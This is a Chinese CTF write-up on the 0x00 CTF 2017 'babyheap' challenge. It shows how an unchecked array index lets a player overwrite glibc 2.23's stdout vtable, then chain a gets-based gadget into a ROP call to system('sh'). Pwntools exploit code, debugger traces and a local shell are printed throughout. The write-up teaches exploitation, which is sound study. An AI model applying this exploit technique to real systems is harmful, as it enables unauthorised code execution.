

Pwn with File结构体之利用 vtable 进行 ROP

前言

本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_-)

漏洞分析

首先查看一下程序开启的安全措施

```
18:07 haclh@ubuntu:0x00ctf $ checksec ./babyheap
[*] '/home/haclh/workplace/0x00ctf/babyheap'

Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE
```

没开 PIE。

接下来看看程序

```
fflush(stdout);
switch ( read_num() )
{
    case 1u:
        add();
        break;
    case 2u:
        edit();
        break;
    case 3u:
        ban();
        break;
    case 4u:
        changename();
        break;
    case 5u:
        puts("your gift:");
        fflush(stdout);
        printf("%lu\n", &read);
        break;
    case 6u:
        exit(0);
        return;
    default:
        puts("invalid option!");
        fflush(stdout);
        break;
}
```



对程序功能做个介绍

- 程序一开始需要用户往 bss 段的 name 缓冲区输入内容
- add 函数: 增加一个 user, 其实就是根据需要的大小使用 malloc 分配内存, 然后读入 username.
- edit 函数: 根据输入的 index , 取出指针, 往里面写入内容。 index **没有校验**。
- ban 函数: free 掉一个 user.
- changename 函数: 修改 bss 段的 name
- 输入为 5 时, 会打印 read 函数的地址, 这样就可以拿到 libc 的基址了。

来看看 edit 函数

```

    puts("index: ");
    fflush(stdout);
    obj = users[read_num()];
    if (obj)
    {
        len = strlen(obj);
        puts("new username: ");
        fflush(stdout);
        read_len = read(0, obj, len);
        if (malloc_usable_size(obj) != read_len)
            obj[read_len] = 0;
        ++edit2;
        puts("user edited!");
        result = fflush(stdout);
    }
    else
    {
        puts("no such user!");
        result = fflush(stdout);
    }
}

```



直接使用我们输入的数字作为数组索引，在 `users` 数组中取到 `obj` 指针，然后使用 `strlen` 获取输入的长度，最后调用 `read` 往 `obj` 里面写内容。

如果我们输入的数字大于 `users` 数组的长度就可以读取 `users` 数组外面的数据作为 `read` 读取数据的指针了。

下面来看看 `bss` 段的布局

```

.bss:0000000000602040          public users
.bss:0000000000602040 ; char *users[12]
.bss:0000000000602040 users      dq 0Ch dup(?)
.bss:0000000000602040          ; DATA XREF: add+39↑r
                                ; add+F7↑w ...
.bss:00000000006020A0          public name
.bss:00000000006020A0 ; char name[48]
.bss:00000000006020A0 name      db 30h dup(?)
.bss:00000000006020A0          ; DATA XREF: changename+2C↑o
                                ; main+2E↑o
.bss:00000000006020A0 _bss     ends
.bss:00000000006020A0

```

Xiaozhi Community

我们可以看到 `users` 后面就是 `name` 缓冲区，`name` 的内容我们可控，于是利用 `edit` 函数里面的 **越界读** 漏洞，我们就可以伪造 `obj` 指针，然后在通过 `read` 读取数据时就可以往 `obj` 指针处写东西，**任意地址写**

漏洞利用

控制rip

整理一下现在拥有的能力。

- 通过 **选项5** 可以 leak 出 `libc` 的地址
- 通过 `edit` 和 `changename` 可以实现任意地址写

题目给的 `libc` 是 2.23，没有虚表保护，于是选择改 `stdout` 的虚表指针，这样我们就可以伪造 `stdout` 的虚表，然后在调用虚表的时候，就可以控制 `rip` 了。

我们知道 stdout 是 _IO_FILE_plus 类型，大小为 0xe0，最后 8 个字节是 vtable（即 stdout+0xd8 处），类型是 struct _IO_jump_t。

```
pwndbg> p/x sizeof(struct _IO_FILE_plus )
$8 = 0xe0
pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$9 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
pwndbg> p/x sizeof(struct _IO_jump_t )
$10 = 0xa8
pwndbg>
```

我们不能 leak 堆的地址，伪造虚表只能在 name 缓冲区内伪造，name 缓冲区的大小为 0x28，而虚表（struct _IO_jump_t）的大小为 0xa8，所以是不能伪造整个虚表的，不过我们只需要把虚表中接下来会被调用的项的指针改了就行了。有点绕，直接调试看。

首先使用选项5的函数，leak 出 libc 的基址

```
# 首先利用 gift 泄露 libc
choice(5)
p.recvuntil("your gift:\n")
libc.address = int(p.recvline().strip()) - libc.symbols['read']
stdout_vtable_addr = libc.symbols['_IO_2_1_stdout_'] + 0xd8    # IO_2_1_stdout->vtable 的地址
```

然后我们在 name 缓冲区内布置好内容，让越界读使用

```
# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr)  # 修改虚表指针
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)
```

数据布置好了以后，利用 edit 里面的越界读漏洞，进行任意地址写，修改 IO_2_1_stdout->vtable 为 name 缓冲区的地址

```
bss_name = 0x6020A0  # bss name 缓冲区的地址
```

```
# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12')  # index 12 --> 会从 name 缓冲区开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name)  # 修改 vtable 的值，把 vtable 改成 bss_name
p.sendafter("new username: ", payload[:6])  # 修改的数据，把虚表改到 bss .
```

使用 ida 可以看到 users 数组的起始地址为 0x0602040，name 缓冲区的地址为 0x006020a0。所以
 $(0x006020a0 - 0x0602040) / 8 = 12$

这样一来就会把 `name` 缓冲区开始的 8 个字节作为 `user` 指针对其进行内容修改。而在之前我们已经布局好 `name`，使得 `name` 缓冲区开始的 8 个字节为 `I0_2_1_stdout->vtable` 的地址，这样在后面设置 `new username` 时就可以修改 `I0_2_1_stdout->vtable` 了。

然后输入 `new username` 为 `p64(bss_name)` 前 6 字节，就可以修改 `I0_2_1_stdout->vtable` 为 `name` 缓冲区的地址。

只发送前 6 个字节的原因是

```
len = strlen(obj);
```

长度是用 `strlen` 获取的，`I0_2_1_stdout->vtable` 原来的值是 `libc` 的地址开始的 6 个字节是非 `\x00`，所以 `strlen` 会返回 6。

接下来使用到 `stdout` 时，就会用到伪造的 虚表（`name` 缓冲区）

调试看看，会发现 crash 了

```
*RSI 0x400fbff ← jne 0x401034 /* 'user edited!' */
*R8 0x7ffff7fd6700 ← 0x7ffff7fd6700
R9 0x7ffff7fd6700 ← 0x7ffff7fd6700
*R10 0x0
R11 0x246
*R12 0x400fbff ← jne 0x401034 /* 'user edited!' */
R13 0x7fffffff420 ← 0x1
R14 0x0
R15 0x0
*RBP 0x7ffff7dd2620 (_I0_2_1_stdout_) ← 0xfbad2a84
*RSP 0x7fffffff2d8 → 0x7ffff7a7c738 (puts+168) ← cmp rbx, rax
*RIP 0x0
[ DISASM ]  
Invalid address 0x0

[ STACK ]
00:0000 | rsp 0x7fffffff2d8 → 0x7ffff7a7c738 (puts+168) ← cmp rbx, rax
01:0008 | 0x7fffffff2e0 ← 0x0
02:0010 | 0x7fffffff2e8 → 0x7fffffff320 → 0x7fffffff340 → 0x400eb0 (_libc_csu_init) ← push r15
03:0018 | 0x7fffffff2f0 → 0x400780 (_start) ← xor ebp, ebp
04:0020 | 0x7fffffff2f8 → 0x400c30 (edit+533) ← mov rax, qword ptr [rip + 0x2013e9]
05:0028 | 0x7fffffff300 → 0x401070 ← sbb ebx, dword ptr [rbx + 0x33]
06:0030 | 0x7fffffff308 ← 0x2f7a7c7fa
07:0038 | 0x7fffffff310 ← 0x6000000006
[ BACKTRACE ]
▶ f 0          0
f 1      7ffff7a7c738 puts+168
f 2          400c30 edit+533
f 3          400e3d main+140
```



这里没有破坏栈的数据，所以栈回溯应该是正确的，所以看看栈回溯

```

pwndbg> bt
#0 0x0000000000000000 in ?? ()
#1 0x00007ffff7a7c738 in _IO_puts (str=0x400fbf "user edited!") at ioputs.c:40
#2 0x0000000000400c30 in edit ()
#3 0x000000000400e3d in main ()
#4 0x00007ffff7a2d830 in __libc_start_main (main=0x400db1 <main>, argc=1, argv=0x7fffffff408, init=<optimized or
tart.c:291
#5 0x0000000004007a9 in _start ()

pwndbg> x/8i 0xffff7a7c732
0x7ffff7a7c732 <_IO_puts+162>:    mov    rsi,r12
0x7ffff7a7c735 <_IO_puts+165>:    call   QWORD PTR [rax+0x38]
0x7ffff7a7c738 <_IO_puts+168>:    cmp    rbx,rax
0x7ffff7a7c73b <_IO_puts+171>:    jne   0x7ffff7a7c78d <_IO_puts+253>
0x7ffff7a7c73d <_IO_puts+173>:    mov    rdi,QWORD PTR [rip+0x355fc4]      # 0x7ffff7dd2708 <stdout>
0x7ffff7a7c744 <_IO_puts+180>:    mov    rax,QWORD PTR [rdi+0x28]
0x7ffff7a7c748 <_IO_puts+184>:    cmp    rax,QWORD PTR [rdi+0x30]
0x7ffff7a7c74c <_IO_puts+188>:    jae   0x7ffff7a7c7f0 <_IO_puts+352>

pwndbg> p/x $rax
$1 = 0x6020a0
pwndbg>

```

 先知社区

可以看到 `call [$rax + 0x38]`，然后 `$rax` 是 name 缓冲区的地址

所以现在 `$rax` 的值我们可控，只需要使得 `rax + 0x38` 也可控即可

```

$rax = bss_name - 0x18
$rax + 0x38 --> bss_name + 0x20

```

这样一来就可以控制 `rip` 了。

getshell

思路分析

可以控制 `rip` 后，同时还有 `libc` 的地址 `one_gadget` 可以试一试，不过这东西看运气，在这个题就不能用。这里我们使用 `rop` 来搞。

要进行 `rop` 首先得控制栈的数据，现在 `rax` 是我们可控的，一般的思路就是利用 `xchg rax, rsp` 之类的 `gadget` 来迁移栈到我们可控的地方，这里采取另外一种方式，**利用 `libc` 的代码片段，直接往栈里面写数据，布置 `rop` 链。**

首先来分析下要用到的 `gadget`

位于 `authnone_create-0x35` 处

```

.text:000000000012B82B          mov    rdi, rsp      ; gadget start
.text:000000000012B82E          call   qword ptr [rax+20h]
.text:000000000012B831          mov    cs:dword_3C8D9C, eax
.text:000000000012B837          mov    rax, [rsp+38h+var_30]
.text:000000000012B83C          mov    rax, [rax+38h]
.text:000000000012B840          test   rax, rax
.text:000000000012B843          jz    short loc_12B84A
.text:000000000012B845          mov    rdi, rsp
.text:000000000012B848          call   rax
.text:000000000012B84A          loc_12B84A:           ; CODE XREF: sub_12B7A0+A3 ↑ j

```

```

.text:000000000012B84A          add    rsp, 30h
.text:000000000012B84E          pop    rbx
.text:000000000012B84F          retn

```

可以看到首先

```

rdi = rsp
call qword ptr [rax+20h]

```

这样只要然后 `rax+0x20` 为 `gets` 函数的地址，就可以往栈里面写数据了。

开始以为 `gets` 函数会读到 `\x00` 终止，后来发现不是，函数定义

`gets` 函数从流中读取字符串，直到出现换行符或读到EOF为止，最后加上`NULL`作为字符串结束

EOF 貌似是 `-1`，所以我们可以读入 `\x00`，而且输入数据的长度还是我们可控的（通过控制 `\n`）

此时已经可以覆盖返回地址了，下面就是让上面的代码块执行完 `gets` 后进入 `loc_12B84A`，分支。

执行完 `call qword ptr [rax+20h]` 后，会从 `esp+8` 处取出 8 字节放到 `rax`，然后判断 `rax+0x38` 处存放的值是不是 0，如果为 0，就可以进入 `loc_12B84A` 进行 rop 了。

```

.text:000000000012B831      mov    cs:dword_3C8D9C, eax
.text:000000000012B837      mov    rax, [rsp+38h+var_30]
.text:000000000012B83C      mov    rax, [rax+38h]
.text:000000000012B840      test   rax, rax
.text:000000000012B843      jz    short loc_12B84A

```

exp分析

整理一下，分析分析最终的 exp

首先 leak 处 libc 的地址，获取到后面需要的一些 gadget 的地址

然后往 name 缓冲区布置数据

```

# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += p64(libc.symbols['gets']) # rip for call qword ptr [rax+20h]
payload += "b" * 0x10 # padding
payload += p64(gadget) # mov rdi, rsp ; gadget start 的地址
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)

```

然后往触发漏洞，修改 `_IO_2_1_stdout_->vtable` 为 `bss_name - 0x18`

```

# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")

```

```

sleep(0.1)

p.sendlineafter("index: ", '12')    # index 12 ---> 会从 name 开始处取8字节作为指针
sleep(0.1)

payload = p64(bss_name - 0x18) # padding for let

p.sendafter("new username: ", payload[:6])    # 修改的数据， 把虚表改到 bss .

info("_IO_2_1_stdout->vtable({})---> bss_name".format(hex(stdout_vtable_addr)))

# gdb.attach(p)

pause()

```

这就使得接下来 call [eax + 0x38] 会变成 call [name+0x20]，也就是进入 gadget。

会调用 call qword ptr [rax+20h]，其实质是 call [name+0x8]，之前已经设置为 gets 函数的地址，所以会调用 gets

```
pop_rdi_ret = 0x00000000000400f13
```

```

# zero addr

zero_addr = 0x6020c8  # 该位置的值为 p64(0)
info("zero_addr: " + hex(zero_addr))

payload = 'a' * 8

payload += p64(zero_addr - 0x38)

payload += cyclic(40)

payload += p64(pop_rdi_ret)

payload += p64(sh_addr)

payload += p64(libc.symbols['system'])

p.sendline(payload)

```

然后通过 gets 往栈里面布置数据，把 rsp+8 设置为 zero_addr（该位置的值为 p64(0)），然后 rop 调用 system("sh") 即可

```

22:52 haclh@ubuntu:0x00ctf $ python myexp.py
[*] '/home/haclh/workplace/0x00ctf/babyheap'
  Arch:      amd64-64-little
  RELRO:    Full RELRO
  Stack:    Canary found
  NX:       NX enabled
  PIE:     No PIE
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
  Arch:      amd64-64-little
  RELRO:    Partial RELRO
  Stack:    Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './babyheap': Done
[+] libc: 0x7ffff7a0d000
[*] running in new terminal: gdb-multiarch -q "/home/haclh/workplace/0x00ctf/[+] Starting local process './babyheap': Done
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
[+] Starting local process './babyheap': Done
[+] Waiting for debugger: Done
[+] Starting local process './babyheap': Done
[+] Waiting for debugger: Done

$ id
uid=1000(haclh) gid=1000(haclh) groups=1000(haclh),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ █ 先知社区

```

总结

authnone_create-0x35 处的这个 gadget 还是比较有趣的，以后能控制 rax 处的内容 时可以选择用这种方式，比如可以修改 虚表指针时。

参考

<https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/pwn/babyheap-200>

来源： <https://www.cnblogs.com/hac425/p/9416823.html>